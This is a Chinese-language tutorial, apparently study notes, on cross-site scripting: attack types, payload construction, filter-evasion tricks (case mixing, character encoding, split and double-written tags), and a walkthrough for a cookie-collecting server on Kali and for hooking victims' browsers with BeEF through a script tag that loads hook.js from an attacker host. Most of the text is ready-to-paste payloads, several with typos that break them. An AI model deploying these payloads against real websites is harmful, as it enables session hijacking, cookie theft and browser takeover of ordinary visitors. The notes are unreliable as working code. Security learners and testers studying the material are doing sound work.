XSS 指惡意攻擊者利用網站提供的接口,沒有對用戶提交的數據進行轉義處理或者過濾不足的缺點,進而添加一些代碼,嵌入到web頁面中去,別的用戶訪問都會執行被嵌入的代碼。XSS漏洞存在服務器中,由被攻擊者訪問服務器觸發,在客戶端瀏覽器中執行惡意代碼
XSS危害
-
盜取各種用戶賬號
-
-
劫持用戶會話,執行任意操作
-
刷流量,執行彈窗廣告
-
傳播蠕蟲病毒
XSS 漏洞的驗證
-
在網頁上類似搜索框,留言板的地方輸入一下代碼,被當做字符串輸出到HTML頁面中,瀏覽器會根據<script>標簽識別為JS代碼,並且會執行它,也就是說可以執行其他任意的JS代碼,以此就 就驗證了XSS漏洞的存在
<script>alert(/xss)</script>
<script>confirm(/xss)</script>
<script>prompt(/xss)</script>
XSS的分類
-
反射型XSS:非持久性跨站腳本攻擊,
-
存儲型XSS:持久性跨站腳本攻擊,xss代碼不是在某個參數中,而是存在於web服務器的數據庫或文件中
-
當頁面被用戶打開的時候執行,通常發生在留言本等地方
-
-
DOM型XSS:基於DOM的XSS,攻擊的payload是由於修改受害者的瀏覽器頁面的DOM樹而執行的
構造XSS腳本
構造XSS腳本分為三種
利用<>構造html/js標簽
<script>alert(xss)</script>
偽協議,javascript:
<a href="javascript:alert(xss)">click me</a>
<img src="javascript:alert(xss)">
產生自己的事件
windows事件
form事件
keyboard事件
mouse事件
medie事件
<img src="./joke.jpg" onmouseover='aler(xss)'>,引入一個圖片,當鼠標懸停在圖片上的時候出發XSS代碼
彈窗警告:一旦次腳本能執行,也就意味着后端服務器沒有對特殊字符做過濾,就證明存在XSS漏洞
<script>alert(/xss)</script>
<script>alert(document.cookie)</scirpt>
頁面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
頁面重定向
<script>windows.location="http://www.baidu.com"</scirpt>
<script>location.href="http://www.baidu.com"</scipt>
彈窗警告並重定向
<script>alert("okkoko");location.href="http://www.baidu.com"</script>
<script>alert('xss');location.href="http://1.1.1.1/dvwa/robots.txt"</script>
訪問惡意
<script src="http://www.dvwa.com/xss.js"></scipt>
<script src="http://BeEf_ip:3000"/hook.js></script>
巧用圖片標簽
<img src="#" onerror=alert('xss')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_IP:3000/hook.js"></img>
javasript偽協議
<a href="javascript:alert(/xss)">touch me!</a>
<img src="javascript:alert(/xss/)">
XSS的變形,繞過
對構造的XSS代碼進行各種變形,用來繞過XSS過濾器的檢測
大小寫轉換
<img sRc="#" onerror="alert(/xss/)" />
<a hREf="javascript:alert(/xss/)">click me </a>
引號的使用
<Img sRc="#" onerror="alert(/xss/)" />
<Img sRc="#" onerror='alert(/xss/)' />
<Img sRc="#" onerror=alert(/xss/) />
<Img/sRc="#" onerror="alert(/xss/)" />
用 / 代替空格
在代碼的某些位置添加 回車/tab 符,來繞過關鍵字檢測
<a href="j
a v a script:alert(xss)">click me</a>
對標簽的屬性進行轉碼
字幕 ascii碼 十進制編碼 十六進制編碼
a 97 a a
e 101 e e
<a href="javascript:alert(/xss/)">click me</a>
可以將一下字符插入到任意位置
Tab 	
換行 

回車 
可以將一下字符插入到頭部位置
S0H 
STX 
拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss)'</script>
<script>eval(z)</script>
雙寫繞過
<script></scr<script>ipt>
獲取cookie的存儲型XSS攻擊,手動型
使用kali搭建收集cookie的服務器
開啟kali的apache2服務:systemctl start apache2
創建一個php腳本文件,讓被攻擊者訪問被攻擊頁面時,自動訪問這個文件,向攻擊者發送cookie
vim /var/www/html/cookie_rec.php
BeEF
通過XSS漏洞配合JS腳本和Metasploit進行滲透
kali開啟apache2:root@kali:~# systemctl start apache2
啟動beef:root@kali:~# cd /usr/share/beef-xss
root@kali:~# ./beef
在瀏覽器上登錄beef的管理頁面,如果有人被攻擊,在beef的管理頁面就可以管理了
http:192.168.52.146:3000/ui/panel user:beef,passwd:123456
構建一段xss代碼注入到web服務器中
<script src="http://192.168.52.146:3000/hook.js"></script>
等待肉雞訪問,被注入xss代碼的頁面,只要有肉雞訪問了該頁面,hacker就可以獲取該肉雞的信息,但是只要肉雞的頁面關系,hack就會與肉雞斷開連接